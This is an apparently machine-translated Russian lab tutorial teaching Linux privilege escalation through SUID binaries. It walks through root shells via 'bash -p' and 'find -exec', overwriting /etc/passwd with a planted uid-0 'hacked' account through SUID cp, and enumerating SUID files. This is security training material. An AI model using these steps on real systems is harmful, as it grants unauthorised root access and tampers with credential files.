Эксплуатация SUID-бинарных файлов для повышения привилегий в Linux

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии (lab) вы узнаете о разрешении SUID (Set user ID upon execution) и о том, как использовать его для повышения привилегий на системах Linux. Цель состоит в том, чтобы получить доступ с правами root, эксплуатируя бинарные файлы с разрешением SUID различными методами, включая использование команд bash, find, cp и mv.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/save_output -.-> lab-416147{{"Эксплуатация SUID-бинарных файлов для повышения привилегий в Linux"}} end

Понимание SUID

На этом этапе вы познакомитесь с концепцией разрешения SUID и его последствиями.

Обычно, когда программа запускается на Linux, она выполняется с правами текущего пользователя. Однако некоторые программы, такие как cp, требуют повышенных привилегий для выполнения определенных операций, например, копирования файлов в ограниченные директории. Чтобы разрешить обычным пользователям запускать такие программы с повышенными привилегиями, можно установить разрешение SUID на исполняемый файл.

SUID расшифровывается как "Set user ID upon execution" (Установить идентификатор пользователя при выполнении). Когда у файла установлено разрешение SUID, он выполняется с правами его владельца, независимо от того, какой пользователь его запускает. Например, команда cp принадлежит пользователю root и имеет установленный бит SUID, что позволяет любому пользователю запускать ее с правами root.

Чтобы проверить разрешение SUID для команды cp и сохранить вывод в файл, выполните следующую команду:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

Просмотрите содержимое файла suid_cp.txt с помощью следующей команды:

cat /home/labex/project/suid_cp.txt

Ожидаемый вывод:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

Вы должны увидеть букву s в разрядах разрешений, что указывает на наличие разрешения SUID.

Хотя SUID может быть полезным для разрешения обычным пользователям запускать определенные привилегированные команды, он также может быть эксплуатирован, если бинарный файл с SUID предоставляет функциональность для выполнения системных команд или модификации файлов.

Эксплуатация SUID с использованием bash

На этом этапе вы узнаете, как эксплуатировать команду bash с разрешением SUID для повышения привилегий.

  1. Сначала откройте терминал и перейдите в директорию /home/labex/project.

    cd /home/labex/project

    Проверьте разрешения команды bash.

    ls -l /bin/bash

    Ожидаемый вывод:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. Если у команды bash установлен бит SUID, вы можете использовать ее для выполнения системных команд с правами root с помощью следующей команды:

    bash -p

    С помощью команды whoami вы можете убедиться, что у вас есть оболочка (shell) с правами root.

    whoami

    Ожидаемый вывод:

    root
  3. Теперь вы можете создать файл с именем root.txt в директории /root и проверить его содержимое.

    touch /root/root.txt

    Вы должны увидеть файл root.txt в директории /root.

Эксплуатация SUID с использованием find

На этом этапе вы узнаете, как эксплуатировать команду find с разрешением SUID для повышения привилегий.

После предыдущего этапа у вас должна быть оболочка (shell) с правами root. Для этого этапа вам нужно выйти из оболочки с правами root и снова войти как пользователь labex с помощью команды exit или открыв новый терминал.

  1. Сначала перейдите в директорию /home/labex/project:

    cd /home/labex/project

    Проверьте разрешения команды find:

    ls -l /usr/bin/find

    Если у команды find установлен бит SUID, вы можете использовать ее для выполнения системных команд с правами root.

  2. Синтаксис для выполнения команды с использованием find выглядит следующим образом:

    find < file > -exec < command > \;

    Здесь <file> может быть любым файлом. Создадим файл с именем test:

    touch test
  3. Теперь вы можете выполнять команды с помощью find:

    find test -exec whoami \;

    Это выполнит команду whoami с правами root. Однако этот метод неудобен для интерактивных команд, таких как ssh или su.

  4. Чтобы получить более удобную оболочку с правами root, вы можете выполнить команду /bin/bash:

    find test -exec /bin/bash -p \;

    Примечание: Флаг -p необходим для сохранения эффективного идентификатора пользователя (EUID) и предотвращения сброса его в реальный идентификатор пользователя (RUID).

  5. Теперь у вас должна быть оболочка с правами root. Создайте файл с именем root.txt в директории /root и проверьте его содержимое:

    touch /root/root.txt

    Вы должны увидеть файл root.txt в директории /root.

Эксплуатация SUID с использованием cp и mv

На этом этапе вы узнаете, как эксплуатировать команды cp и mv с разрешением SUID для повышения привилегий путем модификации файла /etc/passwd или /etc/shadow.

После предыдущего этапа у вас должна быть оболочка (shell) с правами root. Для этого этапа вам нужно выйти из оболочки с правами root и снова войти как пользователь labex с помощью команды exit или открыв новый терминал.

  1. Сначала перейдите в директорию /home/labex/project:

    cd /home/labex/project

    Проверьте разрешения команды cp:

    ls -l /bin/cp

    Если у команды cp установлен бит SUID, вы можете приступить к эксплуатации.

  2. Скопируйте содержимое файла /etc/passwd в файл в вашей домашней директории:

    cat /etc/passwd > /home/labex/project/passwd
  3. Создайте новую запись пользователя с следующими данными:

  • Имя пользователя (Username): hacked

  • Пароль (Password): pass123

    Вставьте следующую строку в конец файла /home/labex/project/passwd:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. Теперь используйте команду cp с разрешением SUID для перезаписи файла /etc/passwd:

    cp /home/labex/project/passwd /etc/passwd
  2. После перезаписи файла вы можете переключиться на пользователя hacked с паролем pass123 с помощью команды su:

    su hacked

Поскольку у пользователя hacked идентификатор пользователя (uid) равен 0, у вас будут права root.

Метод эксплуатации для команды mv аналогичен методу для команды cp. Вы можете попробовать это самостоятельно.

Поиск бинарных файлов с разрешением SUID

На этом этапе вы узнаете, как найти бинарные файлы с разрешением SUID на системе, которые потенциально могут быть эксплуатированы для повышения привилегий.

  1. Вы можете использовать следующие команды для вывода списка всех исполняемых файлов с установленным битом SUID:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. Перейдите в директорию /home/labex/project, чтобы выполнить следующие шаги.

    cd /home/labex/project
  3. Выберите любую из команд для вывода списка бинарных файлов с разрешением SUID на системе и проанализируйте вывод.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    Проверьте содержимое файла check_results.txt, чтобы просмотреть список бинарных файлов с разрешением SUID на системе.

    cat check_results.txt

    Однако в выводе могут быть много файлов, которые нельзя эксплуатировать для повышения привилегий, что требует ручного анализа.

Резюме

В этом практическом занятии (лабораторной работе) вы узнали о разрешении SUID и о том, как использовать различные бинарные файлы с разрешением SUID, такие как bash, find, cp и mv, для повышения привилегий на системах Linux. Вы получили практический опыт в эксплуатации этих бинарных файлов для получения доступа с правами root, что является важным навыком в области кибербезопасности. Практическое занятие предоставило реальную ситуацию и последовательно показало, как эффективно понять и применить эти методы.